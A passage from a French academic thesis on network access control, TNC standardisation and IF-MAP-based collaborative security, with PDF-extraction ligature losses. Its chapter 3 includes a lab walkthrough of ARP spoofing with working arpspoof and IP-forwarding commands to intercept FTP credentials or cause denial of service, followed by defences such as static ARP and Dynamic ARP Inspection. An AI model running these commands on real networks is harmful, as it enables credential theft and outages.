Le groupe TCG [44], est un groupe de plusieurs constructeurs qui essayent de garantir
la compatibilité entre leurs solutions NAC, et converger leurs eorts d'interopérabilité.
Dans ce cadre, le Trusted Computing Group, un consortium d'industriels, a développé
une nouvelle technologie de contrôle d'accès réseau baptisée TNC (Trusted Network Con-

62
Figure 2.4.7: Modèle d'interconnexion étendu

Figure 2.4.8: Paramètres d'identication d'une session utilisateur

63
nect). Ce groupe formé par AMD, Hewlett-Packard, IBM, Inneon, Intel, Lenovo, Mi-
crosoft Corp., Sun Microsystems, et autres, essaye de dénir, développer et promouvoir la
standardisation dans l'objectif de garantir l'interopérabilité de plateformes multi-éditeurs.

TCG propose un certain nombre d'applications de sécurité permettant l'amélioration du


niveau de sécurité des ordinateurs et des réseaux informatiques et leur protection de la
diusion des virus, vers et codes malveillants.

Parmi les travaux du groupe, on trouve le TPM (Trusted Platform Module), que l'on
peut traduire en français par "Module de Plate-forme Digne de Conance". Concrète-
ment c'est une puce électronique qui peut chirer des données (chiers condentiels, codes
de carte bancaire, mots de passe pour accès sécurisé, emails, etc).

La technique TPM peut être intégrée dans une solution NAC pour assurer que les infor-
mations d'intégrité envoyées par le client NAC vers le serveur de validation ne sont pas
altérées et représentent bien l'état réel du système.

Dans cette perspective, il serait possible de modéliser le mécanisme NAC selon les trois
composantes de base suivantes [43] : AR (Access Requestor), PEP (Policy Enforcement
Point), PDP (Policy Decision Point), et ceci quelque soit l'éditeur de la solution. D'où
l'importance de la standardisation TNC [43], présentée dans la gure 2.4.9.

Figure 2.4.9: Standardisation TNC

De cette manière, on peut avoir une solution NAC homogène où les composantes AR, PEP
et PDP proviennent de diérents constructeurs. Ces composantes utilisent des interfaces
de communication standards et qui seront développés dans le chapitre suivant.

64
2.4.3 Exemple d'implémentation - Aectation dynamique des VLAN
Les habilitations de l'utilisateur doivent changer en conséquence lorsque sa connexion
passe d'une connexion laire (source plus sûre ou du moins localisée sur un port commu-
tateur) vers une connexion sans ls (moins sécurisée: source anonyme sous forme d'un
signal radio qui peut prévenir de n'importe où). L'objectif est de superviser les connex-
ions/déconnexions sur le réseau ainsi que l'activité des utilisateurs (la gure 2.4.10):

Figure 2.4.10: Processus d'application d'une politique de contrôle d'accès

• superviser l'activité des utilisateurs ;


• fourniture et collection de l'information de sécurité pour les applications critiques ;
• détection et gestion des vulnérabilités ;
• aection de Vlan dynamique en fonction de l'activité de l'utilisateur.
À signaler qu'on peut étendre le type d'authentication selon l'environnement et le
niveau de sécurité demandé, ce qui veut dire qu'on peut renforcer le mécanisme NAC
par l'utilisation d'une authentication forte ou l'authentication par certicat.

En fait, le serveur Radius se base sur les attributs [40] pour générer la politique qui sera
appliquée à l'utilisateur comme son VLAN, l'ACL qui lui sera appliquée, etc. On peut ap-
pliquer une politique statique, mais il est intéressant que cette politique soit dynamique
selon les attributs que présente l'utilisateur (groupe Active Directory, localisation, ho-
raire, etc).

Ainsi le serveur Radius vérie les attributs de l'utilisateur et lui aecte en conséquence
la politique d'accès qui lui sera appliquée.

La liste des attributs Radius est présentée par la gure 2.4.11. Cette liste d'attributs est
indicative et ne représente pas la liste exhaustive [41].

65
Figure 2.4.11: Attributs Radius

2.5 Conclusion
La technologie NAC joue un rôle très important dans la sécurité des réseaux, dans la
mesure où elle permet de déjouer les attaques internes. Néanmoins, elle reste fortement
dépendante du constructeur qui est, en général, le fournisseur de l'infrastructure réseau
(Cisco & Juniper) et de sa vision commerciale.

Pour des ns de recherche, et pour anéantir l'inuence des constructeurs, nous proposons
une démarche de standardisation du mécanisme du contrôle d'accès au réseau NAC.
Pour ce fait, nous allons dans le chapitre 3 décortiquer les protocoles d'échange et les
interfaces entre les composantes mises en jeu pour contrôler d'accès en mettant l'accent
sur l'importance de la standardisation.

66
Chapitre 3
Nouvelle proposition de
standardisation vers une sécurité
collaborative (IF-MAP)
La sécurité des réseaux repose sur plusieurs technologies (Pare-feu, IPS/IDS, WAF, etc.),
chacune assure une tâche précise sans se soucier du reste. De ce fait et dans la perspec-
tive d'avoir une meilleure visibilité sur tout le réseau IP, nous proposons d'intégrer ces
diérents technologies en perspective de converger leur apport vers une sécurité collabo-
rative capable de contrôler la session utilisateur en temps réel.

C'est dans ce contexte, que nous avons publié un travail de recherche qui apporte une
nouvelle proposition de standardisation des échanges de sécurité avec le serveur central,
et ceci en adoptant le protocole IF-MAP [2]1 , [3]2 .

3.1 Introduction
Notre point de départ dans ce troisième chapitre, est une infrastructure sécurisée qui
possède les diérentes briques classiques de sécurité pour verrouiller l'accés au système
d'information, plus précisément à son infrastructure réseau. Pourtant, il est possible de
trouver des brêches sur les applications et serveurs connectés à l'internet d'une part, et
des failles au niveau de l'accès LAN d'autre part, et c'est ce dernier volet qu'on va essayer
d'expliciter dans la suite de ce chapitre.

Nous allons nous mettre dans le contexte d'un réseau composé d'un Datacenter, un réseau
utilisateurs, une DMZ (demilitarized zone) publique et un réseau WAN sous forme d'une
connexion Internet redondée (la gure 3.1.1).

1 A. Lakbabi, G. Orhanou and S. El Hajji, "Contextual Security with IF-MAP", International Journal
of Security and Its Applications, Vol.8, No.5, pp.427-438, 2014.
2 A. Lakbabi, G. Orhanou, S. El Hajji, "Network Access Control & Collaborated Network Secu-
rity", Proceeding of the IEEE 3rd International Conference on Multimedia Computing and Systems
(ICMCS'12), May 10-12, 2012, Tanger, Morocco, 2012.

67
Figure 3.1.1: Exemple de réseau d'entreprise

Avant de se pencher sur les aspects techniques des attaques, il est essentiel de distinguer
leurs types en attaques internes et externes :
• Attaques internes
Qui sont plus dangereuses car l'attaquant est à l'intérieur du réseau et possède déjà
des autorisations pour utiliser l'infrastructure et ses applications (soit directement
ou indirectement via une machine vulnérable d'un utilisateur).

• Attaques externes
Généralement à partir de l'extérieur du réseau, moyennant des failles applicatives
visibles à l'extérieur.

Il est moins complexe d'attaquer la partie la plus critique d'un réseau IP (Datacenter), à
partir de l'interne "LAN" que de le faire à partir de l'extérieur. Vue de cet angle, la sur-
face d'attaques est plus grande, des techniques d'attaques agissant sur les couches basses
tel que les attaques ARP et le pivotement d'un point vers un autre pour se positionner
au sein de l'infrastructure réseau, dans une perspective d'attaquer la cible à partir d'un
point où elle apparaît plus vulnérable.

Cette vulnérabilité peut être liée à une faille applicative ou à des régles d'accès permis-
sives à partir de certaines sources pour des raisons purement relatives au métier.

68
Pour se protéger contre ces attaques, on doit étudier le fonctionnement, l'exécution et
l'impact de ces attaques dites Man in the Middle par ARP spoong. On doit également
étudier et voir plusieurs pistes de protection contre ces attaques. Il faut savoir que
les attaques par l'homme du milieu sont la base de beaucoup d'autres attaques réseau
comme SslStrip, DNS spoong, etc. Il est donc crucial de sécuriser cette base Arp dans
un système d'information sensible.

3.2 Scénario d'attaques MITM de diérents niveaux


3.2.1 Mise en oeuvre d'une attaque niveau 2
L'ARP est un protocole de la couche liaison (couche 2) du modéle OSI. Lors des échanges
sur un réseau, les adresses MAC sont utilisées pour la formation des trames Ethernet et
le rôle de l'ARP est donc de fournir, à partir d'une adresse IP, l'adresse MAC correspon-
dante. Par défaut, une carte réseau refuse les paquets reçus n'ayant pas son adresse MAC
comme adresse MAC de destination. On pourrait comparer cela au fait de recevoir une
lettre alors que le nom du destinataire n'est pas le notre, nos cartes réseaux, en individus
sages et rééchis, refusent donc d'ouvrir ces lettres.

Une trame Ethernet complète doit forcément avoir un couple IP-MAC correct dans les
champs destination pour transiter sans encombre d'un hôte A à un hôte B.

Cependant, le fonctionnement de l'ARP sur les ordinateurs est le suivant : à chaque ré-
ception d'un paquet, la carte réseau va vérier le couple IP-MAC qu'il contient et mettre
à jour sa table ARP (aussi appelée cache ARP) si le couple trouvé n'est pas enregistré.
Ceci dans le but de ne pas faire de requéte ARP à chaque échange et de remplir son cache
ARP de faéon dynamique. Partant de ce principe, on peut trés bien imaginer que si l'on
a trois hétes, un hôte A pourrait trés bien informer un deuxiéme hôte B via une requéte
ARP qu'il dispose de l'adresse MAC de l'hôte C sans que cela soit vrai.

Le principe de l'ARP ou du MAC spoong (spoong voulant dire "usurper") est d'envoyer
des informations é un systéme an de le pousser à enregistrer des informations qui ne
sont pas les bonnes et qui usurpent l'identité (la relation IP-MAC) d'un autre système.
Partons du schéma de la gure 3.2.1 suivante :

Dans ce scénario, le pirate possède l'adresse MAC 00:0C:19:AC:44:CA et le serveur


l'adresse MAC 00:0C:29:4A:A4:41, la table d'adresse MAC chez le client ressemble donc
à cela (obtenue avec la commande "arp -a" sous Windows comme sous Linux).

Table ARP du client avant l'attaque :


passerelle.local (192.168.19.2) at 00:05:56:e9:52:3b [ether] via l'interface eth0
pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] via l'interface eth0
serveur.local (192.168.19.132) at 00:0c:29:4a:a4:41 [ether] via l'interface eth0

On voit donc ici les associations IP-MAC correspondant é notre schéma. Si le pirate

69
Figure 3.2.1: Scénario d'attaque ARP Spoong

envoie des paquets au client avec l'adresse IP du serveur mais en injectant son adresse
MAC à la place, ainsi la table ARP de notre client va mettre à jour l'association IP-MAC
vers le couple suivant :
-192.168.19.132 ? 00:0C:19:AC:44:CA

La table ARP de notre client va ressembler en conséquence à la table suivante :


-passerelle.local (192.168.19.2) at 00:0c:19:ac:44:ca [ether] via l'interface eth0
-pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] via l'interface eth0
-serveur.local (192.168.19.132) at 00:0c:19:ac:44:ca [ether] via l'interface eth0

Cela vient du fait que l'enregistrement est marqué comme dynamique, donc volatile, et
qu'il peut être mis à jour à chaque réception de paquet présentant des couples IP - MAC
diérents. Les paquets que le client va générer à destination du serveur vont donc à
présent se former avec l'adresse IP destination du serveur et avec l'adresse MAC destina-
tion du pirate étant donné qu'il se base pour cela sur sa table ARP et que celle-ci a été
falsiée.

Cela nous amène au fonctionnement des Commutateurs, qui se basent sur ce mode de
fonctionnement qu'on vient de décrire. En eet, quand un commutateur niveau 2 reçoit
un paquet, il va observer l'adresse MAC de destination (une trame Ethernet contenant
un champ adresse destination et un champ adresse source, toutes les deux des adresses
MAC), comparer cette adresse avec sa table CAM (Content Adressable Memory) qui
contient la correspondance MAC - port sur lequel elle est aectée. Si la MAC a été en-
registrée précédemment sur une de ses interfaces, il envoie le paquet sur cette interface,
sinon il émet une requéte ARP an de voir sur quelle interface est l'adresse MAC ren-
seignée. Il est important de comprendre ici qu'un commutateur de niveau 2 ne regardera
absolument pas les données concernant l'IP (source et destination), mais uniquement la
couche 2 (contenant les adresses MAC).

70
On constate donc que si la table ARP de notre cible est falsiée, il va former des trames
avec l'adresse IP du serveur mais va en n de compte les envoyer au pirate car il formera
ses requêtes avec comme adresse MAC de destination celle du pirate. Il est important de
bien visualiser ces diérentes couches et leur impact sur le chemin des paquets au travers
un commutateur pour comprendre les attaques par ARP spoong.

3.2.2 Anatomie d'une attaque Man in the Middle (MITM)


La mise en pratique d'une attaque ARP nous aidera à mieux comprendre le fonction-
nement et le danger des attaques des couches basses. On parle d'ARP spoong ou de
MAC spoong puisqu'il s'agit de falsier la table ou le cache ARP d'un ou plusieurs
systèmes.

Dans une attaque Man in the Middle, l'objectif de l'attaquant est d'être discret pour ne
pas permettre à quelqu'un (l'administrateur ou la victime) de soupçonner qu'une attaque
est en cours. L'attaquant va donc rediriger les paquets détournés an que les utilisateurs
continuent leurs activités et puissent utiliser le réseau sans perturbation ou coupure, et
surtout avec le moindre impact possible sur la performance du réseau. On cherche à
capturer des informations transitant sur le réseau.

l'ARP spoof est une étape primordiale de l'attaque MITM "Man in the Middle" permet-
tant à l'attaquant de se positionner au milieu d'une conversation ou d'un échange réseau
pour intercepter, lire, supprimer ou modier tout ou partie de la communication.

Nous allons ici essayer de concrétiser ce type d'attaque par la capture d'une session FTP
via ARP spoong. Nous allons donc intercepter les communications du client, initiale-
ment destinées au serveur sur lequel nous avons installé un service FTP, et nous allons
également faire suivre les paquets an que le client ne se doute de rien et accède bien au
serveur.

Sur notre poste pirate (KaliLinux), nous activons dans un premier temps le forwarding
de paquet qui est une fonctionnalité Linux pour le routage réseau :
echo 1 > /proc/sys/net/ipv4/ip_forward

Ainsi, les paquets pourront transiter à travers le système de notre pirate et atteindre
ainsi leur cible. Dans un deuxième temps, nous allons utiliser "arpspoof" pour envoyer
continuellement des paquets ARP qui vont falsier la table ARP de notre client. On va
donc indiquer que l'IP du serveur a notre adresse MAC :
arpspoof -t 192.168.19.131 192.168.19.132

Cette commande se traduit par "fais moi passer pour 192.168.19.132 auprès de 192.168.19.131".

On va maintenir l'envoi de paquets de façon constante car si une communication est eec-
tuée du serveur vers le client directement, ce dernier va à nouveau mettre à jour sa table

71
ARP et cette fois-ci avec les informations correctes. Il faut donc remettre continuellement
à jour la table ARP de notre client pour qu'elle reste falsiée.

L'envoi de paquet ARP reply indique que l'IP du serveur (192.168.19.132) a maintenant
l'adresse MAC du pirate (00:c:29:ac:44:ca). Il s'agit ici d'une donnée qui est fausse et
falsiée par l'action du pirate. L'outil envoie des paquets ARP reply, ce qui va avoir pour
eet de falsier la table ARP de la cible.

Dans une utilisation normale d'ARP, les ARP reply interviennent en réponse à une re-
quête ARP diusée le plus souvent en broadcast par un autre hôte ou alors lorsqu'un
hôte arrive sur un nouveau réseau.

On observant les échanges avec Wireshark, on voit les paquets successivement envoyés
par le pirate. On voit aussi les ARP reply et on remarque que la source de cette at-
taque "Sender MAC adress" est bien l'adresse MAC du pirate (conformément au schéma
ci-dessus) mais que le Sender IP address est celle du serveur, ce qui montre bien le fonc-
tionnement de l'ARP spoong.

Table ARP de la cible avant l'attaque :


-passerelle.local (192.168.19.2) at 00:05:56:e9:52:3b [ether] via l'interface eth0
-pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] via l'interface eth0
-serveur.local (192.168.19.132) at 00:0c:29:4a:a4:41 [ether] via l'interface eth0

Table ARP de la cible aprés attaque :


-passerelle.local (192.168.19.2) at 00:05:56:e9:52:3b [ether] via l'interface eth0
-pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] via l'interface eth0
-serveur.local (192.168.19.132) at 00:c:29:ac:44:ca [ether] via l'interface eth0

Nous allons maintenant poursuivre notre attaque MITM en eectuant une requête FTP
de la part de notre client vers notre serveur. En toute logique, les paquets vont donc
être redirigés vers la machine du pirate car le client va utiliser sa table ARP (falsiée), le
commutateur va donc envoyer ces paquets au pirate qui va faire suivre les paquets vers
le serveur car il a l'IP forwarding activé.

On procède donc à une écoute réseau sur notre pirate avec Wireshark durant la requête
(la gure 3.2.2), et on constate que les identiants FTP passent par notre pirate alors
que, normalement ils ne doivent pas y transiter.

Nous voyons que la destination des paquets FTP est bien l'IP du serveur pour le niveau
3 mais qu'elle utilise l'adresse MAC du pirate pour le niveau 2, et donc le commutateur
de niveau 2 va diriger les paquets vers la machine du pirate plutôt que vers le serveur.
Voici ce qui se passe eectivement au niveau réseau :

72
Figure 3.2.2: Entête Ethernet des paquets FTP

• étape 1 : notre pirate usurpe donc l'adresse MAC du serveur auprès du client. La
table ARP du client étant falsiée, les paquets qu'il enverra seront dans un premier
temps envoyés à notre pirate ;

• étape 2 : notre pirate intercepte les paquets envoyés par le client, puis les rejoue
auprès du serveur, nous sommes donc dans un contexte d'attaque de l'homme au
milieu (Man in the middle) ;

• étape 3 : le serveur va répondre aux requêtes du client en lui envoyant directement


les paquets.

Il faut noter que pour que l'attaque soit complète, il faudrait également eectuer une
attaque ARPspoof pour le chemin de retour, usurpant ainsi l'identité (l'adresse MAC)
du client auprès du serveur. On pourrait alors récupérer par exemple les chiers reçues
par le client sur le serveur et les reconstituer directement dans Wireshark.

Ainsi, nous voyons comment un pirate peut eectuer une attaque MITM grâce à l'ARP
spoong. D'autres types plus évolués d'attaques comme les attaques DoS (Denial of Ser-
vice) peuvent également être construites à base de l'ARP Spoong.

Ces attaques ont pour objectif de mettre à mal un service informatique ou une partie
de celui-ci, que ce soit une plage d'adresses IP, un ou plusieurs hôtes ciblés. Pour ce
faire, il faut suivre également le même principe de l'attaque MITM, sauf que cette fois-
ci nous allons désactiver la fonctionnalité "IP forwarding"; Ainsi, les paquets ne seront
pas retransmis à leur cible originelle mais tomberont donc dans le vide, rendant ainsi la
connectivité de notre ou nos cibles impossible car aucun paquet n'arrivera à destination.
Pour ce faire, l'attaquant peut se faire passer pour la passerelle auprès du client, dès
qu'il voudra aller sur Internet ou sur un autre réseau, les paquets destinés à la passerelle

73
arriveront sur le pirate qui ne les fera pas suivre.

Principe d'une attaque é plus grande échelle (plusieurs hétes impactés) :

Nous n'avons dans l'exemple précédent ciblé qu'un seul hôte. Cependant, nous pouvons
également opter pour la diusion des messages ARP falsiant les tables ARP des cibles
en broadcast, ce qui aura pour eet d'aecter toutes les machines se situant sur la même
plage d'adresses IP que nous. On appelle ce mode de fonctionnement de l'attaque ARP
spoong le "gratuitous ARP"; le pirate va se présenter alors comme étant la passerelle
pour toutes les machines du réseau 192.168.19.0/24 :

aprspoof -t 192.168.19.255 192.168.19.2

Cette commande, selon le schéma de la gure 3.2.1 précédente, va nous faire passer pour
la passerelle sur tout le réseau et va donc rediriger l'intégralité du trac du réseau vers
notre poste pirate. Nous pourrons alors au choix, en activant l'IP forwarding, capturer le
trac et le faire suivre pour que les postes ne se doutent de rien ou alors désactiver l'IP
forwarding pour causer une attaque par déni de service.

3.2.3 Mécanismes de sécurité possibles


Le fait est que pour bien se défendre, il faut comprendre en détail l'attaque. Nous avons
parcouru en détail l'attaque ARP spoong, comment cette attaque peut être eectuér
et quels sont ses impacts au sein du système d'information. Maintenant, on se pose
la question sur les pistes de sécurisation an de se protéger. En eet, plusieurs idées
surgissent.

1. Mécanismes de protection directs

• L'enregistrement ARP statique


Une des techniques, la plus simple mais la plus lourde dans un contexte
d'entreprise, est d'utiliser la fonction "enregistrement statique" des tables ARP
dans les systèmes d'exploitation (OS - Operating System) Windows et Linux.
Nous avons vu que le remplissage et la modication de la table ARP dans les
OS était dynamique. Nous pouvons toutefois, pour les éléments critiques du
système d'information (Passerelle, Active Directory, web intranet par exemple)
forger une adresse ARP de façon statique dans la table ARP des machines.
Ces enregistrements statiques ne seront ainsi plus falsiables via des requêtes
ARP malicieuses. Cela peut se faire avec l'option "-s" de la commande ARP :

arp -s adresseIP adresse MAC

74
L'option "-s" indique le renseignement de l'association IP-MAC en "static",
une attaque par ARP spoong ne pourra plus la modier.

Cette protection comporte bien évidemment quelques inconvénients dans le


cadre d'une maintenance quotidienne d'un parc client : si le système enreg-
istré de façon statique (par exemple, la passerelle) est modié, il faut aller
changer l'enregistrement statique sur tous les hôtes clients du parc. Cela peut
être le cas par exemple lors du changement d'interface réseau, d'un remplace-
ment de matériel ou encore de l'activation d'un système de Load Balancing ou
de FailOver.

On peut alors s'aider d'un script de démarrage ou du déploiement fait via les
GPO (Microsoft Group Policy Object GPO), mais cela reste tout de même
contraignant au quotidien.

• Bloquer les paquets "gratuitous ARP"


Cette approche, a été adoptée par plusieurs constructeurs, comme Syman-
tec et SonicWall Arp Protection. Lors de mes recherches sur les techniques
de protection, j'ai trouvé une solution appelée "Anti-MAC spoong" mise en
place dans certains produits de Symantec comme "Symantec Sygate Enter-
prise Protection"; Le principe est d'autoriser les réponses ARP (ARP Reply)
à transiter sur le réseau uniquement si une requête ARP (ARP request) a
été enregistrée précédemment. également, seules les réponses en rapport avec
la requête seront autorisées à transiter. Il ne sera alors pas possible, après
une requête de type "quelle est l'adresse MAC de 192.168.0.1" d'accepter une
réponse "L'adresse MAC de 192.168.0.17 est 'aa:bb:cc:dd:ee:'".

En des termes plus techniques, on bloque le "gratuitous ARP" qui est le fait
d'envoyer des réponses ARP à des machines n'ayant rien demandé dans le but
de fausser leurs tables ARP, ce qui est la base de l'ARP spoong.

2. Détection par les IDS


De manière plus classique, et sans avoir à acheter de solution révolutionnaire, il est
également possible de détecter des attaques ARP spoong via des IDS. Il est pour
cela nécessaire d'avoir un IDS en place avec un port mirroring au niveau du coeur
de réseau. En analysant le trac ARP, on pourra ainsi détecter des comportements
anormaux comme l'ARP spoong.

En eet, nous avons vu que pour que l'ARP spoong soit un succès, il faut ooder
(envoyer continuellement) des paquets ARP-reply à la/les cibles. Ce comportement
ne s'observe pas dans un contexte normal de communication entre des machines.
L'analyse d'un grand nombre de paquets ARP-reply envoyés peut donc être faite
par l'IDS qui enverra alors une alerte aux équipes de sécurité.

75
Cette conguration peut contribuer à limiter les attaques par ARP spoong et a le
mérite de pouvoir être mise en place avec des logiciels libres. Néanmoins, elle de-
mande l'intervention et l'analyse de l'équipe de sécurité pour validation, chose qui
n'est pas trop ecace surtout que l'objectif est une protection presque en temps réel.

En eet, le DAI "Dynamic ARP Inspection" [48] est une solution qui est employée
dans les éléments actifs de quelques constructeurs qui se base sur le principe suivant :

Le DAI va, pour chaque réponse ARP envoyée depuis un port qui n'est pas de
conance, comparer les données qu'elle contient à une base de données de conance
pré-enregistrée au sein du réseau et dropper les paquets ARP-reply contenant de
fausses informations. Cela évite alors la possibilité de falsication d'une correspon-
dance MAC - IP au sein de l'infrastructure réseau, et désactiver ainsi les attaques
MITM via ARP spoong.

Cette technique de protection est intéressante car on peut alors maintenir une table
ARP statique centralisée qui sert donc de référence à toutes les réponses ARP.

Cette gestion centralisée et contrôlée de la base des adresses MAC sera d'une utilité
capitale pour le serveur NAC qui s'en servira pour bloquer toute adresse niveau 2
qualiée d'intruse.

Dans le même esprit, on retrouve la solution "MAC-IP anti Spoof" adoptée par
certains constructeurs Tackling Spoong Attacks. Sous forme d'une base central-
isée saisie par l'administrateur, la base DHCP peut ici également être une base de
référence.

En théorie, cela peut être une protection ecace. Mais cela reste fastidieux et
statique vu qu'elle demande une maîtrise de l'infrastructure qui n'est pas toujours
facile, du moment oé tout le réseau doit être couvert par cette protection pour ne
pas laisser des points éventuels d'attaques.

3. Solution proposée avec l'usage du NAC


Dans le chapitre précédent, nous avons décrit le mécanisme de contrôle d'accès NAC.
Nous avons pu constater que celui-ci constitue un point de contrôle unique pour
l'accès au réseau, et par conséquent il est tout à fait pertinent de faire l'adjonction
d'une base centralisée d'association MAC-IP, qui serait mise en oeuvre pour déter-
miner une attaque ARP, voir les attaques niveau 2 au paragraphe précédent, par le
serveur NAC.

Sachant qu'on peut améliorer la détection par une maintenance dynamique pilotée
par le serveur NAC lui-même. En eet, ce dernier est le premier qui reçoit la de-
mande d'accès réseau et par conséquent il est capable de récupérer le quadruplet

76
(Utilisateur, machine, IP et MAC) et donc cette association sera publiée comme on
va le voir dans la suite par un protocole d'échange vers les autres composantes de
sécurité du réseau mais surtout mise dans une table pour d'éventuelles requêtes en
diéré.

A ce stade, puisque nous avons précédemment détaillé le NAC et montré son util-
ité, nous entamons à présent l'adoption d'une orientation vers la standardisation
du NAC an de faciliter l'interfaéage et l'intégration des composantes clés de la
sécurité réseau autour du NAC, ainsi nous serons dans la capacité de proposer un
écosystème dicile à pénétrer.

Chaque solution NAC possède sa propre vision, son propre mécanisme d'intégration
et d'interaction avec les autres composantes de sécurité du réseau. Notre objectif
dans ce chapitre est d'étudier ces mécanismes clés dans la perspective de les simpli-
er, les rendre standards pour interagir facilement avec les autres composantes de
sécurité du réseau, mais au-delà pour avoir des échanges temps réel des événements
de sécurité dans la perspective de comprendre et réagir aux incidents de sécurité.

Par ailleurs, l'amélioration du délai de détection représente un élément clé de la sécurité


ecace. Chaque solution NAC qui se respecte doit, dans ce contexte, intégrer entre autres
les briques de sécurité indispensables suivantes :

• gestion de l'utilisateur (Authentication, information de sa session au sein du réseau


de bout en bout) ;

• évaluation de la sécurité du poste utilisateur (évaluation au moment de l'accès et


mise en quarantaine et remédiation en cas de besoin au cours de la session) ;

• intégration à l'infrastructure et au autres éléments de sécurité (Pare-feu, IPS/IDS,


WAF, SIEM etc).

D'une manière pragmatique, une solution NAC doit assurer la sécurité de l'infrastructure
réseau et ses applications vis à vis de l'accès utilisateur, tout en permettant un échange
pertinent d'information (événements, log et notication de sécurité) avec les composantes
de sécurité sur lesquels reposent la sécurité du réseau entier.

3.3 Protocoles et mécanismes d'intégration et échange


de sécurité
La plupart des solutions NAC utilisent les protocoles classiques pour échanger de l'information
sous forme de notications ou d'instructions à exécuter entre leurs propres composantes
(inter-communication) ou avec les composantes de sécurité et d'infrastructures tiers (extra-
communication). Néanmoins, il est à noter que cette interaction est quasi inexistante dans

77
la majorité des solutions NAC commerciales pour des raisons techniques mais surtout
commerciales.

Parmi ces protocoles d'échange, on trouve essentiellement :


• SNMP ;
• Syslog ;
• API et Scripts.

3.3.1 Protcole SNMP


Le protocole SNMP, est de type client-serveur illustré sur la gure 3.3.1.

Figure 3.3.1: Fonctionnement du protocole SNMP

L'architecture SNMP se compose donc d'une plate-forme de supervision (serveur SNMP


ou NMS (Network Management Server)) et d'agents à surveiller (commutateur, routeurs,
PC, imprimantes, serveurs, etc) et chaque élément à surveiller embarque un agent SNMP.

Le manager SNMP (entité logicielle intégrée dans la plate-forme de supervision) cen-


tralise les informations en provenance des équipements du réseau par l'intermédiaire
d'agents SNMP (client SNMP) agissant pour le compte du manager et embarqués sur
les équipements administrés.

L'agent fournit un accès à un objet local, la MIB (Management Information Base) qui
reéte l'état des ressources et l'activité de l'hôte. Cet agent, répond aux commandes du
manager en retournant les valeurs de la MIB et en assignant des valeurs.

Le protocole SNMP utilise UDP, port 161, et possède diérentes versions :

• v1 (1988) - RFC1155, RFC1156, RFC1157 : Spécication d'origine ;

• v2 - RFC1901 ... RFC1908 + RFC2578 : Etend la version 1 aux nouveaux types de


données, méthodes de recherche améliorées (GETBULK), utilisant la version v2c
(sans modèle de sécurité) ;

• v3 - RFC3411 ... RFC3418 (avec sécurité).

78
Généralement, l'utilisation de SNMPv2 (v2c) est la plus répandu vue sa simplicité d'intégration
à une infrastructure déjà existante mais cette version soure de sérieux problèmes de sécu-
rité.

Le protocole SNMP est simple mais son implémentation peut s'avérer bien plus complexe
dans des réseaux plus larges surtout à cause du mécanisme de "polling" utilisé pour in-
terroger les composants réseaux à partir de la station de management SNMP.

La version 3 de SNMP a implémenté sa propre couche SSH. Ceci rend plus pénible les
communications : il n'y a pas d'auto-négociation pour le chirement et on doit fournir
certaines informations pour créer une connexion sécurisée, ce qui rend la recherche d'une
alternative assez logique.

3.3.2 Protocole Syslog


Le protocole Syslog est un protocole réseau qui permet de transporter les messages de
journalisation générés par les applications vers une machine hébergeant un serveur Syslog.

Syslog est un standard qui se base sur "User Datagram Protocol (UDP)" pour transférer
les messages au sein du réseau. Il utilise le port UDP 514, et à l'inverse du protocole
SNMP, Syslog ne peut pas être utilisé pour interroger les équipements "poll devices" et
récupérer des informations comme le fait SNMP.

Il permet tout simplement d'envoyer des messages vers un emplacement donné quand
certains événements spéciques se produisent (la gure 3.3.2). Il utilise le concept appelé
en anglais "facility" pour identier la source du message à partir d'une machine don-
née, exemple facility "0" signie un message du noyau "kernel" alors qu'une facility "11"
traduit un message FTP ce qui nous rappelle le monde UNIX alors que la plupart des
équipements Cisco utilisent "local6" ou "local7" comme codes.

3.3.3 Utilisation d'API et de Scripts


1. Utilisation des API
Une API (Application Programming Interface) n'est rien d'autre qu'un protocole
de communication pour accéder à un service. De la même façon qu'avec un logiciel
de base de données, on a un vocabulaire pour accéder aux données et faire une re-
quête, l'API permet de construire des interrogations via une interface "normalisée".
Les fonctionnalités proposées par les API évoluent selon les services et au cours du
temps. Par exemple, Facebook propose plusieurs API : celle pour s'authentier,
celle pour explorer et exploiter le graphe social des utilisateurs, etc.

Une API va permettre à un programme de demander à l'application qui fournit


les données, uniquement les données dont il a besoin ou auxquelles il souhaite ac-
céder. Les grands acteurs du numérique en général et du Web en particulier, comme

79
Figure 3.3.2: Protocole Syslog

Google, Amazon, Facebook, Twitter, etc, ont établi leur succès grâce à leurs API.
Une API est donc un protocole d'accès à un système d'information, an d'échanger
des données. Selon les jeux de données qui peuvent s'échanger via des API, on peut
construire un système évolué d'échange d'information.

Les API sont des portes d'entrée qui permettent de contrôler l'exposition et l'utilisation
des données numériques produites par un service. C'est un service logistique qui
s'adresse aux autres services et aux développeurs pour faciliter l'échange d'information.
Chaque API a ses particularités : ses clés d'accés, le nombre de requétes maximales
par clés d'accés, les données accessibles (et celles qui ne le sont pas), les fonctions de
manipulation des données (celles qui sont proposées en lecture seule comme celles
qui pourront être écrites par un service tiers). Elles permettent donc à des services
de communiquer entre eux, de croiser leurs données, d'utiliser les données des uns
et des autres, de maniére quasi transparente [50].

2. Utilisation des Scritps

Certains éditeurs développent leurs propres scripts (propriétaires) pour exécuter


certaines routines dans l'objectif de faire communiquer les composantes de sécurité,
dans notre cas c'est pour intégrer la solution NAC avec les autres composantes de
la plateforme de sécurité (Pare-feu, IDS/IPS).

La plupart des éditeurs de logiciels NAC utilisent leur propres Scripts pour commu-
niquer avec l'infrastructure et surtout avec les commutateurs et les points d'accès.
Dans ce cas, les téches que le serveur NAC va exécuter sur le commutateur vont

80
être transférées et exécutées sous forme de scripts batch selon le Shell utilisé sur le
commutateur réseau (la gure 3.3.3).

Figure 3.3.3: Diérents types de Shell

Ces trois méthodes présentent des contraintes majeures parmi lesquelles on peut
citer :

• dépendance de l'éditeur (API/Scripts) ;


• automatisation dicile (développement propriétaire) ;
• intégration bilatéral (Serveur NAC - Commutateur seulement).

Notre analyse, nous a montré clairement qu'il y a une défaillance apparente, dans l'approche
de protection réactionnelle qui se base sur des produits isolés à technologie diérentes dont
chacun abordent la sécurité de son propre angle, sans trop faire attention à la complé-
mentarité et l'intégration dans une perspective de converger vers une sécurité unique et
globale d'une entité donnée.

Notre proposition, présente une nouvelle vision de la sécurité en transformant technique-


ment parlant l'approche d'interaction entre les composantes de sécurité de composant à
composant via les protocoles classiques SNMP, Syslog, Scripts, etc (voir la gure 3.3.4).

